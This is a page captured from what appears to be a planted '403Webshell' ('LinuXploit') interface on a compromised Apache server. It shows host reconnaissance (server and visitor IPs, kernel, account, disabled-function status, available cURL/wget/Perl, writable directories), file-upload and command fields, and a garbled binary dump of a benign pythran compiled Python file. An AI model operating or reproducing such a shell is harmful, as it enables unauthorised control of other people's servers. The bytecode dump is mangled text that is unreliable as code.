403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.25
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/pythran/analyses/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/pythran/analyses/__pycache__/extended_syntax_check.cpython-311.pyc
�

cR�a���~�dZddlmZddlmZmZddlmZddlm	Z	m
Z
ddlmZddl
Zd�Zd	�ZGd
�de��ZdS)zH
ExtendedSyntaxCheck performs various syntax checks on the pythran AST.
�)�ModuleAnalysis)�
StrictAliases�ArgumentEffects)�PythranSyntaxError)�ConstantIntr�FunctionIntr)�metadataNc��t|t��rdSt|tj��sdSt	j|jdtj��S)NTFr)�
isinstancer�ast�FunctionDefr	�get�body�StaticReturn��nodes �H/usr/lib/python3/dist-packages/pythran/analyses/extended_syntax_check.py�is_global_constantrsM���$��%�%���t��d�C�O�,�,���u��<��	�!��h�&;�<�<�<�c�b�t|ttjf��pt	|��S�N)rrrr
rrs r�	is_globalrs+���t�l�C�O�<�=�=�
%��t�$�$�&rc�B�eZdZdZd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d	�Zd
S)�ExtendedSyntaxChecka
    Perform advanced syntax checking, based on strict aliases analysis:
    - is there a function redefinition?
    - is there a function call that does not match the called expression arity?
    - is there an operation that updates a global variable?
    c��d|_d|_d|_t��|_tj|tt��dS)NF)	�result�update�inassert�set�	functionsr�__init__rr)�selfs rr!zExtendedSyntaxCheck.__init__%s=����������
���������m�_�E�E�E�E�Erc�
�t|tj��sdS	|j|j}n#t
$rYdSwxYw|D]>}t
|��r-td�|j	��|j����?dS)Nz=Cannot modify '{}': global variables are constant in pythran.)
rr�Call�strict_aliases�func�KeyErrorrr�format�name)r"r�arg�aliases�aliass     r�check_global_with_side_effectz1ExtendedSyntaxCheck.check_global_with_side_effect,s����#�s�x�(�(�	��F�	��)�#�(�3�G�G���	�	�	��F�F�	�����	�	�E�!�%�(�(�
�(�#�$*�F�5�:�$6�$6��H����
�	�	s�1�
?�?c���|j|jvr(td�|j��|���|j�|j��|�|��dS)NzFunction {} redefined)r)r rr(�add�
generic_visit�r"rs  r�visit_FunctionDefz%ExtendedSyntaxCheck.visit_FunctionDef;sr���9���&�&�$�%<�%C�%C��	�&�&����
�
�N���t�y�)�)�)����4� � � � � rc�4�|jrtd|���dS)Nz4Cannot call a function with side effect in an assert)rr)r"rr*s   r�check_assert_with_side_effectz1ExtendedSyntaxCheck.check_assert_with_side_effectDs0���=�	;�$�&4�59�;�;�
;�	;�	;rc�L�d|_|�|��d|_dS)NTF)rr0r1s  r�visit_Assertz ExtendedSyntaxCheck.visit_AssertIs(����
����4� � � ���
�
�
rc�n��t|tj��rdSt|tj��r t	�fd�|jD����St|tj��r��|j��St|tj	��rPt|d|��}	�j|}n#t$rYdSwxYw|sdSt	d�|D����rdSt|tj
��rPt|d|��}	�j|}n#t$rYdSwxYw|sdSt	d�|D����rdSt|tj��r;	�j|}n#t$rYdSwxYwt	d�|D����rdSdS)NTc3�B�K�|]}��|��V��dSr)�is_immutable_constant)�.0�eltr"s  �r�	<genexpr>z<ExtendedSyntaxCheck.is_immutable_constant.<locals>.<genexpr>Ss1�����L�L�3�t�1�1�#�6�6�L�L�L�L�L�Lrr&Fc3�4K�|]}t|��V��dSr)r�r:r,s  rr<z<ExtendedSyntaxCheck.is_immutable_constant.<locals>.<genexpr>bs+����B�B��%�e�,�,�B�B�B�B�B�Brc3�4K�|]}t|��V��dSr)rr>s  rr<z<ExtendedSyntaxCheck.is_immutable_constant.<locals>.<genexpr>os*����9�9��9�U�#�#�9�9�9�9�9�9rc3�JK�|]}t|tj��V��dSr)rrr
r>s  rr<z<ExtendedSyntaxCheck.is_immutable_constant.<locals>.<genexpr>xs.����K�K�%�:�e�S�_�5�5�K�K�K�K�K�Kr)rr�Constant�Tuple�all�elts�UnaryOpr9�operandr$�getattrr%r'�	Attribute�Name)r"r�targetr+s`   rr9z)ExtendedSyntaxCheck.is_immutable_constantNs����d�C�L�)�)�	��4��d�C�I�&�&�	M��L�L�L�L�$�)�L�L�L�L�L�L��d�C�K�(�(�	<��-�-�d�l�;�;�;��d�C�H�%�%�	��T�6�4�0�0�F�
��-�f�5�����
�
�
��u�u�
�����
��u��B�B�'�B�B�B�B�B�
��t��d�C�M�*�*�	��T�6�4�0�0�F�
��-�f�5�����
�
�
��u�u�
�����
��u��9�9��9�9�9�9�9�
��t��d�C�H�%�%�	�
��-�d�3�����
�
�
��u�u�
�����K�K�7�K�K�K�K�K�
��t��us6�8
C�
C�C�"
D0�0
D>�=D>�;
F	�	
F�Fc��|�|��|jD]'}|�|��std|����(dS)NzkPythran does not support mutable default values. Use a `None' default and set the value at runtime instead.)r0�defaultsr9r)r"r�arg_defaults   r�visit_argumentsz#ExtendedSyntaxCheck.visit_arguments}sg�����4� � � ��=�	!�	!�K��-�-�k�:�:�
!�(�K��!�!�!�
!�	!�	!rc
�d�|�|��|j}	|j|}nB#t$r5t	d�t
|dd��p|��|���wxYwt��}|D�]e}	|j|}t|��D]\}}|r|�
|���n#t$rYnwxYwt|tj
��s�it|jj��}	|	t|jj��z
}
t|j��t|j��z}|
|cxkr|	krnn��|
|	krHd}|�|jt|jj��t|j����}n1d}|�|j|
|	t|j����}t	||���t|j��D]6\}}
||vr�
|�||
��|�||
���7dS)Nz+Call to unknown function `{}`, it's a trap!�idz1Invalid call to {}: expected {} arguments, got {}z=Invalid {} call: expected between {} and {} arguments, got {})r0r&r%r'rr(rGr�argument_effects�	enumerater/rrr
�len�argsrL�keywordsr)r-r4)r"rr&r+rQr,�func_aes�i�effect�ubound�lbound�call_args_count�msgr*s              r�
visit_CallzExtendedSyntaxCheck.visit_Call�s{�����4� � � ��y��	��)�$�/�G�G���	�	�	�$�=�����d�D�1�1�9�T�:�:����
�	�����5�5���	0�	0�E�
��0��7��!*�8�!4�!4�0�0�I�A�v��0�(�,�,�Q�/�/�/��0���
�
�
���
�����e�S�_�5�5�
������)�)�F��c�%�*�"5�6�6�6�F�!�$�)�n�n�s�4�=�/A�/A�A�O���2�2�2�2�F�2�2�2�2�2������I���j�j���!$�U�Z�_�!5�!5�!$�T�Y���#�#���
F���j�j���!'��!$�T�Y���#�#��%�S�$�/�/�/� ��	�*�*�	:�	:�F�A�s��(�(�(���.�.�t�S�9�9�9��.�.�t�S�9�9�9�9�		:�	:s�
,�?A+�9B<�<
C	�C	N)�__name__�
__module__�__qualname__�__doc__r!r-r2r4r6r9rNr]�rrrrs���������F�F�F�
�
�
�!�!�!�;�;�;�
���
-�-�-�^!�!�!�3:�3:�3:�3:�3:rr)ra�pythran.passmanagerr�pythran.analysesrr�pythran.syntaxr�pythran.intrinsicrr�pythranr	�gastrrrrrbrr�<module>ris�����/�.�.�.�.�.�;�;�;�;�;�;�;�;�-�-�-�-�-�-�8�8�8�8�8�8�8�8�����������=�=�=�&�&�&�
\:�\:�\:�\:�\:�.�\:�\:�\:�\:�\:r

Youez - 2016 - github.com/yon3zu
LinuXploit